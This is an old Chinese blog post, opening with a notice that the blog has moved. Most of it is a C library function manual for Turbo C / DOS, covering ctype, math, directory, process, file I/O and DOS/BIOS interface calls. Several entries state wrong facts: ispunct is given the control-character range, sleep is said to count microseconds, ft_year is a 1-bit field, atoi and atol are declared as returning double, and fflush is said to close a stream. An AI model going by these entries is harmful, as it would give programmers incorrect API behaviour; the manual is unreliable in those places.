2005年03月07日

Blog搬家啦 搬到程序员的Blog http://blog.csdn.net/LionD8/
加链接的兄弟 请用免费域名 http://liond8.126.com
谢谢嗒 嘿嘿.

2005年02月12日
                                       C库函数手册





分类函数,所在函数库为ctype.h
int isalpha(int ch) 若ch是字母('A'-'Z','a'-'z')返回非0值,否则返回0
int isalnum(int ch) 若ch是字母('A'-'Z','a'-'z')或数字('0'-'9')
返回非0值,否则返回0
int isascii(int ch) 若ch是字符(ASCII码中的0-127)返回非0值,否则返回0
int iscntrl(int ch) 若ch是作废字符(0x7F)或普通控制字符(0x00-0x1F)
返回非0值,否则返回0
int isdigit(int ch) 若ch是数字('0'-'9')返回非0值,否则返回0
int isgraph(int ch) 若ch是可打印字符(不含空格)(0x21-0x7E)返回非0值,否则返回0
int islower(int ch) 若ch是小写字母('a'-'z')返回非0值,否则返回0
int isprint(int ch) 若ch是可打印字符(含空格)(0x20-0x7E)返回非0值,否则返回0
int ispunct(int ch) 若ch是标点字符(0x00-0x1F)返回非0值,否则返回0
int isspace(int ch) 若ch是空格(' '),水平制表符('\t'),回车符('\r'),
走纸换行('\f'),垂直制表符('\v'),换行符('\n')
返回非0值,否则返回0
int isupper(int ch) 若ch是大写字母('A'-'Z')返回非0值,否则返回0
int isxdigit(int ch) 若ch是16进制数('0'-'9','A'-'F','a'-'f')返回非0值,
否则返回0
int tolower(int ch) 若ch是大写字母('A'-'Z')返回相应的小写字母('a'-'z')
int toupper(int ch) 若ch是小写字母('a'-'z')返回相应的大写字母('A'-'Z')

数学函数,所在函数库为math.h、stdlib.h、string.h、float.h
int abs(int i) 返回整型参数i的绝对值
double cabs(struct complex znum) 返回复数znum的绝对值
double fabs(double x) 返回双精度参数x的绝对值
long labs(long n) 返回长整型参数n的绝对值
double exp(double x) 返回指数函数ex的值
double frexp(double value,int *eptr) 返回value=x*2n中x的值,n存贮在eptr中
double ldexp(double value,int exp); 返回value*2exp的值
double log(double x) 返回logex的值
double log10(double x) 返回log10x的值
double pow(double x,double y) 返回xy的值
double pow10(int p) 返回10p的值
double sqrt(double x) 返回+√x的值
double acos(double x) 返回x的反余弦cos-1(x)值,x为弧度
double asin(double x) 返回x的反正弦sin-1(x)值,x为弧度
double atan(double x) 返回x的反正切tan-1(x)值,x为弧度
double atan2(double y,double x) 返回y/x的反正切tan-1(x)值,y的x为弧度
double cos(double x) 返回x的余弦cos(x)值,x为弧度
double sin(double x) 返回x的正弦sin(x)值,x为弧度
double tan(double x) 返回x的正切tan(x)值,x为弧度
double cosh(double x) 返回x的双曲余弦cosh(x)值,x为弧度
double sinh(double x) 返回x的双曲正弦sinh(x)值,x为弧度
double tanh(double x) 返回x的双曲正切tanh(x)值,x为弧度
double hypot(double x,double y) 返回直角三角形斜边的长度(z),
x和y为直角边的长度,z2=x2+y2
double ceil(double x) 返回不小于x的最小整数
double floor(double x) 返回不大于x的最大整数
void srand(unsigned seed) 初始化随机数发生器
int rand() 产生一个随机数并返回这个数
double poly(double x,int n,double c[])从参数产生一个多项式
double modf(double value,double *iptr)将双精度数value分解成尾数和阶
double fmod(double x,double y) 返回x/y的余数
double frexp(double value,int *eptr) 将双精度数value分成尾数和阶
double atof(char *nptr) 将字符串nptr转换成浮点数并返回这个浮点数
double atoi(char *nptr) 将字符串nptr转换成整数并返回这个整数
double atol(char *nptr) 将字符串nptr转换成长整数并返回这个整数
char *ecvt(double value,int ndigit,int *decpt,int *sign)
将浮点数value转换成字符串并返回该字符串
char *fcvt(double value,int ndigit,int *decpt,int *sign)
将浮点数value转换成字符串并返回该字符串
char *gcvt(double value,int ndigit,char *buf)
将数value转换成字符串并存于buf中,并返回buf的指针
char *ultoa(unsigned long value,char *string,int radix)
将无符号整型数value转换成字符串并返回该字符串,radix为转换时所用基数
char *ltoa(long value,char *string,int radix)
将长整型数value转换成字符串并返回该字符串,radix为转换时所用基数
char *itoa(int value,char *string,int radix)
将整数value转换成字符串存入string,radix为转换时所用基数
double atof(char *nptr) 将字符串nptr转换成双精度数,并返回这个数,错误返回0
int atoi(char *nptr) 将字符串nptr转换成整型数, 并返回这个数,错误返回0
long atol(char *nptr) 将字符串nptr转换成长整型数,并返回这个数,错误返回0
double strtod(char *str,char **endptr)将字符串str转换成双精度数,并返回这个数,
long strtol(char *str,char **endptr,int base)将字符串str转换成长整型数,
并返回这个数,
int matherr(struct exception *e)
用户修改数学错误返回信息函数(没有必要使用)
double _matherr(_mexcep why,char *fun,double *arg1p,
double *arg2p,double retval)
用户修改数学错误返回信息函数(没有必要使用)
unsigned int _clear87() 清除浮点状态字并返回原来的浮点状态
void _fpreset() 重新初使化浮点数学程序包
unsigned int _status87() 返回浮点状态字

目录函数,所在函数库为dir.h、dos.h
int chdir(char *path) 使指定的目录path(如:"C:\\WPS")变成当前的工作目录,成
功返回0
int findfirst(char *pathname,struct ffblk *ffblk,int attrib)查找指定的文件,成功
返回0
pathname为指定的目录名和文件名,如"C:\\WPS\\TXT"
ffblk为指定的保存文件信息的一个结构,定义如下:
┏━━━━━━━━━━━━━━━━━━┓
┃struct ffblk ┃
┃{ ┃
┃ char ff_reserved[21]; /*DOS保留字*/┃
┃ char ff_attrib; /*文件属性*/ ┃
┃ int ff_ftime; /*文件时间*/ ┃
┃ int ff_fdate; /*文件日期*/ ┃
┃ long ff_fsize; /*文件长度*/ ┃
┃ char ff_name[13]; /*文件名*/ ┃
┃} ┃
┗━━━━━━━━━━━━━━━━━━┛
attrib为文件属性,由以下字符代表
┏━━━━━━━━━┳━━━━━━━━┓
┃FA_RDONLY 只读文件┃FA_LABEL 卷标号┃
┃FA_HIDDEN 隐藏文件┃FA_DIREC 目录 ┃
┃FA_SYSTEM 系统文件┃FA_ARCH 档案 ┃
┗━━━━━━━━━┻━━━━━━━━┛
例:
struct ffblk ff;
findfirst("*.wps",&ff,FA_RDONLY);

int findnext(struct ffblk *ffblk) 取匹配finddirst的文件,成功返回0
void fumerge(char *path,char *drive,char *dir,char *name,char *ext)
此函数通过盘符drive(C:、A:等),路径dir(\TC、\BC\LIB等),
文件名name(TC、WPS等),扩展名ext(.EXE、.COM等)组成一个文件名
存与path中.
int fnsplit(char *path,char *drive,char *dir,char *name,char *ext)
此函数将文件名path分解成盘符drive(C:、A:等),路径dir(\TC、\BC\LIB等),
文件名name(TC、WPS等),扩展名ext(.EXE、.COM等),并分别存入相应的变量中.
int getcurdir(int drive,char *direc) 此函数返回指定驱动器的当前工作目录名称
drive 指定的驱动器(0=当前,1=A,2=B,3=C等)
direc 保存指定驱动器当前工作路径的变量 成功返回0
char *getcwd(char *buf,iint n) 此函数取当前工作目录并存入buf中,直到n个字
节长为为止.错误返回NULL
int getdisk() 取当前正在使用的驱动器,返回一个整数(0=A,1=B,2=C等)
int setdisk(int drive) 设置要使用的驱动器drive(0=A,1=B,2=C等),
返回可使用驱动器总数
int mkdir(char *pathname) 建立一个新的目录pathname,成功返回0
int rmdir(char *pathname) 删除一个目录pathname,成功返回0
char *mktemp(char *template) 构造一个当前目录上没有的文件名并存于template中
char *searchpath(char *pathname) 利用MSDOS找出文件filename所在路径,
,此函数使用DOS的PATH变量,未找到文件返回NULL

进程函数,所在函数库为stdlib.h、process.h
void abort() 此函数通过调用具有出口代码3的_exit写一个终止信息于stderr,
并异常终止程序。无返回值
int exec…装入和运行其它程序
int execl( char *pathname,char *arg0,char *arg1,…,char *argn,NULL)
int execle( char *pathname,char *arg0,char *arg1,…,
char *argn,NULL,char *envp[])
int execlp( char *pathname,char *arg0,char *arg1,…,NULL)
int execlpe(char *pathname,char *arg0,char *arg1,…,NULL,char *envp[])
int execv( char *pathname,char *argv[])
int execve( char *pathname,char *argv[],char *envp[])
int execvp( char *pathname,char *argv[])
int execvpe(char *pathname,char *argv[],char *envp[])
exec函数族装入并运行程序pathname,并将参数
arg0(arg1,arg2,argv[],envp[])传递给子程序,出错返回-1
在exec函数族中,后缀l、v、p、e添加到exec后,
所指定的函数将具有某种操作能力
有后缀 p时,函数可以利用DOS的PATH变量查找子程序文件。
l时,函数中被传递的参数个数固定。
v时,函数中被传递的参数个数不固定。
e时,函数传递指定参数envp,允许改变子进程的环境,
无后缀e时,子进程使用当前程序的环境。

void _exit(int status)终止当前程序,但不清理现场
void exit(int status) 终止当前程序,关闭所有文件,写缓冲区的输出(等待输出),
并调用任何寄存器的"出口函数",无返回值

int spawn…运行子程序
int spawnl( int mode,char *pathname,char *arg0,char *arg1,…,
char *argn,NULL)
int spawnle( int mode,char *pathname,char *arg0,char *arg1,…,
char *argn,NULL,char *envp[])
int spawnlp( int mode,char *pathname,char *arg0,char *arg1,…,
char *argn,NULL)
int spawnlpe(int mode,char *pathname,char *arg0,char *arg1,…,
char *argn,NULL,char *envp[])
int spawnv( int mode,char *pathname,char *argv[])
int spawnve( int mode,char *pathname,char *argv[],char *envp[])
int spawnvp( int mode,char *pathname,char *argv[])
int spawnvpe(int mode,char *pathname,char *argv[],char *envp[])
spawn函数族在mode模式下运行子程序pathname,并将参数
arg0(arg1,arg2,argv[],envp[])传递给子程序.出错返回-1
mode为运行模式
mode为 P_WAIT 表示在子程序运行完后返回本程序
P_NOWAIT 表示在子程序运行时同时运行本程序(不可用)
P_OVERLAY表示在本程序退出后运行子程序
在spawn函数族中,后缀l、v、p、e添加到spawn后,
所指定的函数将具有某种操作能力
有后缀 p时, 函数利用DOS的PATH查找子程序文件
l时, 函数传递的参数个数固定.
v时, 函数传递的参数个数不固定.
e时, 指定参数envp可以传递给子程序,允许改变子程序运行环境.
当无后缀e时,子程序使用本程序的环境.

int system(char *command) 将MSDOS命令command传递给DOS执行

转换子程序,函数库为math.h、stdlib.h、ctype.h、float.h
char *ecvt(double value,int ndigit,int *decpt,int *sign)
将浮点数value转换成字符串并返回该字符串
char *fcvt(double value,int ndigit,int *decpt,int *sign)
将浮点数value转换成字符串并返回该字符串
char *gcvt(double value,int ndigit,char *buf)
将数value转换成字符串并存于buf中,并返回buf的指针
char *ultoa(unsigned long value,char *string,int radix)
将无符号整型数value转换成字符串并返回该字符串,radix为转换时所用基数
char *ltoa(long value,char *string,int radix)
将长整型数value转换成字符串并返回该字符串,radix为转换时所用基数
char *itoa(int value,char *string,int radix)
将整数value转换成字符串存入string,radix为转换时所用基数
double atof(char *nptr) 将字符串nptr转换成双精度数,并返回这个数,错误返回0
int atoi(char *nptr) 将字符串nptr转换成整型数, 并返回这个数,错误返回0
long atol(char *nptr) 将字符串nptr转换成长整型数,并返回这个数,错误返回0
double strtod(char *str,char **endptr)将字符串str转换成双精度数,并返回这个数,
long strtol(char *str,char **endptr,int base)将字符串str转换成长整型数,
并返回这个数,
int toascii(int c) 返回c相应的ASCII
int tolower(int ch) 若ch是大写字母('A'-'Z')返回相应的小写字母('a'-'z')
int _tolower(int ch) 返回ch相应的小写字母('a'-'z')
int toupper(int ch) 若ch是小写字母('a'-'z')返回相应的大写字母('A'-'Z')
int _toupper(int ch) 返回ch相应的大写字母('A'-'Z')

诊断函数,所在函数库为assert.h、math.h
void assert(int test) 一个扩展成if语句那样的宏,如果test测试失败,
就显示一个信息并异常终止程序,无返回值
void perror(char *string) 本函数将显示最近一次的错误信息,格式如下:
字符串string:错误信息
char *strerror(char *str) 本函数返回最近一次的错误信息,格式如下:
字符串str:错误信息
int matherr(struct exception *e)
用户修改数学错误返回信息函数(没有必要使用)
double _matherr(_mexcep why,char *fun,double *arg1p,
double *arg2p,double retval)
用户修改数学错误返回信息函数(没有必要使用)

输入输出子程序,函数库为io.h、conio.h、stat.h、dos.h、stdio.h、signal.h
int kbhit() 本函数返回最近所敲的按键
int fgetchar() 从控制台(键盘)读一个字符,显示在屏幕上
int getch() 从控制台(键盘)读一个字符,不显示在屏幕上
int putch() 向控制台(键盘)写一个字符
int getchar() 从控制台(键盘)读一个字符,显示在屏幕上
int putchar() 向控制台(键盘)写一个字符
int getche() 从控制台(键盘)读一个字符,显示在屏幕上
int ungetch(int c) 把字符c退回给控制台(键盘)
char *cgets(char *string) 从控制台(键盘)读入字符串存于string中
int scanf(char *format[,argument…])从控制台读入一个字符串,分别对各个参数进行
赋值,使用BIOS进行输出
int vscanf(char *format,Valist param)从控制台读入一个字符串,分别对各个参数进行
赋值,使用BIOS进行输出,参数从Valist param中取得
int cscanf(char *format[,argument…])从控制台读入一个字符串,分别对各个参数进行
赋值,直接对控制台作操作,比如显示器在显示时字符时即为直接写频方式显示
int sscanf(char *string,char *format[,argument,…])通过字符串string,分别对各个
参数进行赋值
int vsscanf(char *string,char *format,Vlist param)通过字符串string,分别对各个
参数进行赋值,参数从Vlist param中取得
int puts(char *string) 发关一个字符串string给控制台(显示器),
使用BIOS进行输出
void cputs(char *string) 发送一个字符串string给控制台(显示器),
直接对控制台作操作,比如显示器即为直接写频方式显示
int printf(char *format[,argument,…]) 发送格式化字符串输出给控制台(显示器)
使用BIOS进行输出
int vprintf(char *format,Valist param) 发送格式化字符串输出给控制台(显示器)
使用BIOS进行输出,参数从Valist param中取得
int cprintf(char *format[,argument,…]) 发送格式化字符串输出给控制台(显示器),
直接对控制台作操作,比如显示器即为直接写频方式显示
int vcprintf(char *format,Valist param)发送格式化字符串输出给控制台(显示器),
直接对控制台作操作,比如显示器即为直接写频方式显示,
参数从Valist param中取得
int sprintf(char *string,char *format[,argument,…])
将字符串string的内容重新写为格式化后的字符串
int vsprintf(char *string,char *format,Valist param)
将字符串string的内容重新写为格式化后的字符串,参数从Valist param中取得
int rename(char *oldname,char *newname)将文件oldname的名称改为newname
int ioctl(int handle,int cmd[,int *argdx,int argcx])
本函数是用来控制输入/输出设备的,请见下表:
┌───┬────────────────────────────┐
│cmd值 │功能 │
├───┼────────────────────────────┤
│ 0 │取出设备信息 │
│ 1 │设置设备信息 │
│ 2 │把argcx字节读入由argdx所指的地址 │
│ 3 │在argdx所指的地址写argcx字节 │
│ 4 │除把handle当作设备号(0=当前,1=A,等)之外,均和cmd=2时一样 │
│ 5 │除把handle当作设备号(0=当前,1=A,等)之外,均和cmd=3时一样 │
│ 6 │取输入状态 │
│ 7 │取输出状态 │
│ 8 │测试可换性;只对于DOS 3.x │
│ 11 │置分享冲突的重算计数;只对DOS 3.x │
└───┴────────────────────────────┘
int (*ssignal(int sig,int(*action)())()执行软件信号(没必要使用)
int gsignal(int sig) 执行软件信号(没必要使用)

int _open(char *pathname,int access)为读或写打开一个文件,
按后按access来确定是读文件还是写文件,access值见下表
┌──────┬────────────────────┐
│access值 │意义 │
├──────┼────────────────────┤
│O_RDONLY │读文件 │
│O_WRONLY │写文件 │
│O_RDWR │即读也写 │
│O_NOINHERIT │若文件没有传递给子程序,则被包含 │
│O_DENYALL │只允许当前处理必须存取的文件 │
│O_DENYWRITE │只允许从任何其它打开的文件读 │
│O_DENYREAD │只允许从任何其它打开的文件写 │
│O_DENYNONE │允许其它共享打开的文件 │
└──────┴────────────────────┘
int open(char *pathname,int access[,int permiss])为读或写打开一个文件,
按后按access来确定是读文件还是写文件,access值见下表
┌────┬────────────────────┐
│access值│意义 │
├────┼────────────────────┤
│O_RDONLY│读文件 │
│O_WRONLY│写文件 │
│O_RDWR │即读也写 │
│O_NDELAY│没有使用;对UNIX系统兼容 │
│O_APPEND│即读也写,但每次写总是在文件尾添加 │
│O_CREAT │若文件存在,此标志无用;若不存在,建新文件 │
│O_TRUNC │若文件存在,则长度被截为0,属性不变 │
│O_EXCL │未用;对UNIX系统兼容 │
│O_BINARY│此标志可显示地给出以二进制方式打开文件 │
│O_TEXT │此标志可用于显示地给出以文本方式打开文件│
└────┴────────────────────┘
permiss为文件属性,可为以下值:
S_IWRITE允许写 S_IREAD允许读 S_IREAD|S_IWRITE允许读、写
int creat(char *filename,int permiss) 建立一个新文件filename,并设定
读写性。permiss为文件读写性,可以为以下值
S_IWRITE允许写 S_IREAD允许读 S_IREAD|S_IWRITE允许读、写
int _creat(char *filename,int attrib) 建立一个新文件filename,并设定文件
属性。attrib为文件属性,可以为以下值
FA_RDONLY只读 FA_HIDDEN隐藏 FA_SYSTEM系统
int creatnew(char *filenamt,int attrib) 建立一个新文件filename,并设定文件
属性。attrib为文件属性,可以为以下值
FA_RDONLY只读 FA_HIDDEN隐藏 FA_SYSTEM系统
int creattemp(char *filenamt,int attrib) 建立一个新文件filename,并设定文件
属性。attrib为文件属性,可以为以下值
FA_RDONLY只读 FA_HIDDEN隐藏 FA_SYSTEM系统
int read(int handle,void *buf,int nbyte)从文件号为handle的文件中读nbyte个字符
存入buf中
int _read(int handle,void *buf,int nbyte)从文件号为handle的文件中读nbyte个字符
存入buf中,直接调用MSDOS进行操作.
int write(int handle,void *buf,int nbyte)将buf中的nbyte个字符写入文件号
为handle的文件中
int _write(int handle,void *buf,int nbyte)将buf中的nbyte个字符写入文件号
为handle的文件中
int dup(int handle) 复制一个文件处理指针handle,返回这个指针
int dup2(int handle,int newhandle) 复制一个文件处理指针handle到newhandle
int eof(int *handle)检查文件是否结束,结束返回1,否则返回0
long filelength(int handle) 返回文件长度,handle为文件号
int setmode(int handle,unsigned mode)本函数用来设定文件号为handle的文件的打
开方式
int getftime(int handle,struct ftime *ftime) 读取文件号为handle的文件的时间,
并将文件时间存于ftime结构中,成功返回0,ftime结构如下:
┌─────────────────┐
│struct ftime │
│{ │
│ unsigned ft_tsec:5; /*秒*/ │
│ unsigned ft_min:6; /*分*/ │
│ unsigned ft_hour:5; /*时*/ │
│ unsigned ft_day:5; /*日*/ │
│ unsigned ft_month:4;/*月*/ │
│ unsigned ft_year:1; /*年-1980*/ │
│} │
└─────────────────┘
int setftime(int handle,struct ftime *ftime) 重写文件号为handle的文件时间,
新时间在结构ftime中.成功返回0.结构ftime如下:
┌─────────────────┐
│struct ftime │
│{ │
│ unsigned ft_tsec:5; /*秒*/ │
│ unsigned ft_min:6; /*分*/ │
│ unsigned ft_hour:5; /*时*/ │
│ unsigned ft_day:5; /*日*/ │
│ unsigned ft_month:4;/*月*/ │
│ unsigned ft_year:1; /*年-1980*/ │
│} │
└─────────────────┘
long lseek(int handle,long offset,int fromwhere) 本函数将文件号为handle的文件
的指针移到fromwhere后的第offset个字节处.
SEEK_SET 文件开关 SEEK_CUR 当前位置 SEEK_END 文件尾
long tell(int handle) 本函数返回文件号为handle的文件指针,以字节表示
int isatty(int handle)本函数用来取设备handle的类型
int lock(int handle,long offset,long length) 对文件共享作封锁
int unlock(int handle,long offset,long length) 打开对文件共享的封锁
int close(int handle) 关闭handle所表示的文件处理,handle是从_creat、creat、
creatnew、creattemp、dup、dup2、_open、open中的一个处调用获得的文件处理
成功返回0否则返回-1,可用于UNIX系统
int _close(int handle) 关闭handle所表示的文件处理,handle是从_creat、creat、
creatnew、creattemp、dup、dup2、_open、open中的一个处调用获得的文件处理
成功返回0否则返回-1,只能用于MSDOS系统

FILE *fopen(char *filename,char *type) 打开一个文件filename,打开方式为type,
并返回这个文件指针,type可为以下字符串加上后缀
┌──┬────┬───────┬────────┐
│type│读写性 │文本/2进制文件│建新/打开旧文件 │
├──┼────┼───────┼────────┤
│r │读 │文本 │打开旧的文件 │
│w │写 │文本 │建新文件 │
│a │添加 │文本 │有就打开无则建新│
│r+ │读/写 │不限制 │打开 │
│w+ │读/写 │不限制 │建新文件 │
│a+ │读/添加 │不限制 │有就打开无则建新│
└──┴────┴───────┴────────┘
可加的后缀为t、b。加b表示文件以二进制形式进行操作,t没必要使用
例: ┌──────────────────┐
│#include<stdio.h> │
│main() │
│{ │
│ FILE *fp; │
│ fp=fopen("C:\\WPS\\WPS.EXE","r+b");│
└──────────────────┘
FILE *fdopen(int ahndle,char *type)
FILE *freopen(char *filename,char *type,FILE *stream)
int getc(FILE *stream) 从流stream中读一个字符,并返回这个字符
int putc(int ch,FILE *stream)向流stream写入一个字符ch
int getw(FILE *stream) 从流stream读入一个整数,错误返回EOF
int putw(int w,FILE *stream)向流stream写入一个整数
int ungetc(char c,FILE *stream) 把字符c退回给流stream,下一次读进的字符将是c
int fgetc(FILE *stream) 从流stream处读一个字符,并返回这个字符
int fputc(int ch,FILE *stream) 将字符ch写入流stream中
char *fgets(char *string,int n,FILE *stream) 从流stream中读n个字符存入string中
int fputs(char *string,FILE *stream) 将字符串string写入流stream中
int fread(void *ptr,int size,int nitems,FILE *stream) 从流stream中读入nitems
个长度为size的字符串存入ptr中
int fwrite(void *ptr,int size,int nitems,FILE *stream) 向流stream中写入nitems
个长度为size的字符串,字符串在ptr中
int fscanf(FILE *stream,char *format[,argument,…]) 以格式化形式从流stream中
读入一个字符串
int vfscanf(FILE *stream,char *format,Valist param) 以格式化形式从流stream中
读入一个字符串,参数从Valist param中取得
int fprintf(FILE *stream,char *format[,argument,…]) 以格式化形式将一个字符
串写给指定的流stream
int vfprintf(FILE *stream,char *format,Valist param) 以格式化形式将一个字符
串写给指定的流stream,参数从Valist param中取得
int fseek(FILE *stream,long offset,int fromwhere) 函数把文件指针移到fromwhere
所指位置的向后offset个字节处,fromwhere可以为以下值:
SEEK_SET 文件开关 SEEK_CUR 当前位置 SEEK_END 文件尾
long ftell(FILE *stream) 函数返回定位在stream中的当前文件指针位置,以字节表示
int rewind(FILE *stream) 将当前文件指针stream移到文件开头
int feof(FILE *stream) 检测流stream上的文件指针是否在结束位置
int fileno(FILE *stream) 取流stream上的文件处理,并返回文件处理
int ferror(FILE *stream) 检测流stream上是否有读写错误,如有错误就返回1
void clearerr(FILE *stream) 清除流stream上的读写错误
void setbuf(FILE *stream,char *buf) 给流stream指定一个缓冲区buf
void setvbuf(FILE *stream,char *buf,int type,unsigned size)
给流stream指定一个缓冲区buf,大小为size,类型为type,type的值见下表
┌───┬───────────────────────────────┐
│type值│意义 │
├───┼───────────────────────────────┤
│_IOFBF│文件是完全缓冲区,当缓冲区是空时,下一个输入操作将企图填满整个缓│
│ │冲区.在输出时,在把任何数据写到文件之前,将完全填充缓冲区. │
│_IOLBF│文件是行缓冲区.当缓冲区为空时,下一个输入操作将仍然企图填整个缓│
│ │冲区.然而在输出时,每当新行符写到文件,缓冲区就被清洗掉. │
│_IONBF│文件是无缓冲的.buf和size参数是被忽略的.每个输入操作将直接从文 │
│ │件读,每个输出操作将立即把数据写到文件中. │
└───┴───────────────────────────────┘
int fclose(FILE *stream) 关闭一个流,可以是文件或设备(例如LPT1)
int fcloseall() 关闭所有除stdin或stdout外的流
int fflush(FILE *stream) 关闭一个流,并对缓冲区作处理
处理即对读的流,将流内内容读入缓冲区;
对写的流,将缓冲区内内容写入流。成功返回0
int fflushall() 关闭所有流,并对流各自的缓冲区作处理
处理即对读的流,将流内内容读入缓冲区;
对写的流,将缓冲区内内容写入流。成功返回0

int access(char *filename,int amode) 本函数检查文件filename并返回文件的属性,
函数将属性存于amode中,amode由以下位的组合构成
06可以读、写 04可以读 02可以写 01执行(忽略的) 00文件存在
如果filename是一个目录,函数将只确定目录是否存在
函数执行成功返回0,否则返回-1
int chmod(char *filename,int permiss) 本函数用于设定文件filename的属性
permiss可以为以下值
S_IWRITE允许写 S_IREAD允许读 S_IREAD|S_IWRITE允许读、写
int _chmod(char *filename,int func[,int attrib]);
本函数用于读取或设定文件filename的属性,
当func=0时,函数返回文件的属性;当func=1时,函数设定文件的属性
若为设定文件属性,attrib可以为下列常数之一
FA_RDONLY只读 FA_HIDDEN隐藏 FA_SYSTEM系统


接口子程序,所在函数库为:dos.h、bios.h
unsigned sleep(unsigned seconds)暂停seconds微秒(百分之一秒)
int unlink(char *filename)删除文件filename
unsigned FP_OFF(void far *farptr)本函数用来取远指针farptr的偏移量
unsigned FP_SEG(void far *farptr)本函数用来没置远指针farptr的段值
void far *MK_FP(unsigned seg,unsigned off)根据段seg和偏移量off构造一个far指针
unsigned getpsp()取程序段前缀的段地址,并返回这个地址
char *parsfnm(char *cmdline,struct fcb *fcbptr,int option)
函数分析一个字符串,通常,对一个文件名来说,是由cmdline所指的一个命令行.
文件名是放入一个FCB中作为一个驱动器,文件名和扩展名.FCB是由fcbptr所指
定的.option参数是DOS分析系统调用时,AL文本的值.

int absread(int drive,int nsects,int sectno,void *buffer)本函数功能为读特定的
磁盘扇区,drive为驱动器号(0=A,1=B等),nsects为要读的扇区数,sectno为开始的逻
辑扇区号,buffer为保存所读数据的保存空间
int abswrite(int drive,int nsects,int sectno,void *buffer)本函数功能为写特定的
磁盘扇区,drive为驱动器号(0=A,1=B等),nsects为要写的扇区数,sectno为开始的逻
辑扇区号,buffer为保存所写数据的所在空间
void getdfree(int drive,struct dfree *dfreep)本函数用来取磁盘的自由空间,
drive为磁盘号(0=当前,1=A等).函数将磁盘特性的由dfreep指向的dfree结构中.
dfree结构如下:
┌───────────────────┐
│struct dfree │
│{ │
│ unsigned df_avail; /*有用簇个数*/ │
│ unsigned df_total; /*总共簇个数*/ │
│ unsigned df_bsec; /*每个扇区字节数*/│
│ unsigned df_sclus; /*每个簇扇区数*/ │
│} │
└───────────────────┘
char far *getdta() 取磁盘转换地址DTA
void setdta(char far *dta)设置磁盘转换地址DTA
void getfat(int drive,fatinfo *fatblkp)
本函数返回指定驱动器drive(0=当前,1=A,2=B等)的文件分配表信息
并存入结构fatblkp中,结构如下:
┌──────────────────┐
│struct fatinfo │
│{ │
│ char fi_sclus; /*每个簇扇区数*/ │
│ char fi_fatid; /*文件分配表字节数*/│
│ int fi_nclus; /*簇的数目*/ │
│ int fi_bysec; /*每个扇区字节数*/ │
│} │
└──────────────────┘
void getfatd(struct fatinfo *fatblkp) 本函数返回当前驱动器的文件分配表信息,
并存入结构fatblkp中,结构如下:
┌──────────────────┐
│struct fatinfo │
│{ │
│ char fi_sclus; /*每个簇扇区数*/ │
│ char fi_fatid; /*文件分配表字节数*/│
│ int fi_nclus; /*簇的数目*/ │
│ int fi_bysec; /*每个扇区字节数*/ │
│} │
└──────────────────┘

int bdos(int dosfun,unsigned dosdx,unsigned dosal)本函数对MSDOS系统进行调用,
dosdx为寄存器dx的值,dosal为寄存器al的值,dosfun为功能号
int bdosptr(int dosfun,void *argument,unsiigned dosal)本函数对MSDOS系统进行调用,
argument为寄存器dx的值,dosal为寄存器al的值,dosfun为功能号
int int86(int intr_num,union REGS *inregs,union REGS *outregs)
执行intr_num号中断,用户定义的寄存器值存于结构inregs中,
执行完后将返回的寄存器值存于结构outregs中.
int int86x(int intr_num,union REGS *inregs,union REGS *outregs,
struct SREGS *segregs)执行intr_num号中断,用户定义的寄存器值存于
结构inregs中和结构segregs中,执行完后将返回的寄存器值存于结构outregs中.
int intdos(union REGS *inregs,union REGS *outregs)
本函数执行DOS中断0x21来调用一个指定的DOS函数,用户定义的寄存器值
存于结构inregs中,执行完后函数将返回的寄存器值存于结构outregs中
int intdosx(union REGS *inregs,union REGS *outregs,struct SREGS *segregs)
本函数执行DOS中断0x21来调用一个指定的DOS函数,用户定义的寄存器值
存于结构inregs和segregs中,执行完后函数将返回的寄存器值存于结构outregs中
void intr(int intr_num,struct REGPACK *preg)本函数中一个备用的8086软件中断接口
它能产生一个由参数intr_num指定的8086软件中断.函数在执行软件中断前,
从结构preg复制用户定义的各寄存器值到各个寄存器.软件中断完成后,
函数将当前各个寄存器的值复制到结构preg中.参数如下:
intr_num 被执行的中断号
preg为保存用户定义的寄存器值的结构,结构如下
┌──────────────────────┐
│struct REGPACK │
│{ │
│ unsigned r_ax,r_bx,r_cx,r_dx; │
│ unsigned r_bp,r_si,r_di,r_ds,r_es,r_flags; │
│} │
└──────────────────────┘
函数执行完后,将新的寄存器值存于结构preg中
void keep(int status,int size)以status状态返回MSDOS,但程序仍保留于内存中,所占
用空间由size决定.
void ctrlbrk(int (*fptr)()) 设置中断后的对中断的处理程序.
void disable() 禁止发生中断
void enable() 允许发生中断
void geninterrupt(int intr_num)执行由intr_num所指定的软件中断
void interrupt(* getvect(int intr_num))() 返回中断号为intr_num的中断处理程序,
例如: old_int_10h=getvect(0x10);
void setvect(int intr_num,void interrupt(* isr)()) 设置中断号为intr_num的中
断处理程序为isr,例如: setvect(0x10,new_int_10h);
void harderr(int (*fptr)()) 定义一个硬件错误处理程序,
每当出现错误时就调用fptr所指的程序
void hardresume(int rescode)硬件错误处理函数
void hardretn(int errcode) 硬件错误处理函数
int inport(int prot) 从指定的输入端口读入一个字,并返回这个字
int inportb(int port)从指定的输入端口读入一个字节,并返回这个字节
void outport(int port,int word) 将字word写入指定的输出端口port
void outportb(int port,char byte)将字节byte写入指定的输出端口port
int peek(int segment,unsigned offset) 函数返回segment:offset处的一个字
char peekb(int segment,unsigned offset)函数返回segment:offset处的一个字节
void poke(int segment,int offset,char value) 将字value写到segment:offset处
void pokeb(int segment,int offset,int value) 将字节value写到segment:offset处
int randbrd(struct fcb *fcbptr,int reccnt)
函数利用打开fcbptr所指的FCB读reccnt个记录.
int randbwr(struct fcb *fcbptr,int reccnt)
函数将fcbptr所指的FCB中的reccnt个记录写到磁盘上
void segread(struct SREGS *segtbl)函数把段寄存器的当前值放进结构segtbl中
int getverify() 取检验标志的当前状态(0=检验关闭,1=检验打开)
void setverify(int value)设置当前检验状态,
value为0表示关闭检验,为1表示打开检验
int getcbrk()本函数返回控制中断检测的当前设置
int setcbrk(int value)本函数用来设置控制中断检测为接通或断开
当value=0时,为断开检测.当value=1时,为接开检测

int dosexterr(struct DOSERR *eblkp)取扩展错误.在DOS出现错误后,此函数将扩充的
错误信息填入eblkp所指的DOSERR结构中.该结构定义如下:
┌──────────────┐
│struct DOSERR │
│{ │
│ int exterror;/*扩展错误*/ │
│ char class; /*错误类型*/ │
│ char action; /*方式*/ │
│ char locus; /*错误场所*/ │
│} │
└──────────────┘
int bioscom(int cmd,char type,int port) 本函数负责对数据的通讯工作,
cmd可以为以下值:
0 置通讯参数为字节byte值 1 发送字符通过通讯线输出
2 从通讯线接受字符 3 返回通讯的当前状态
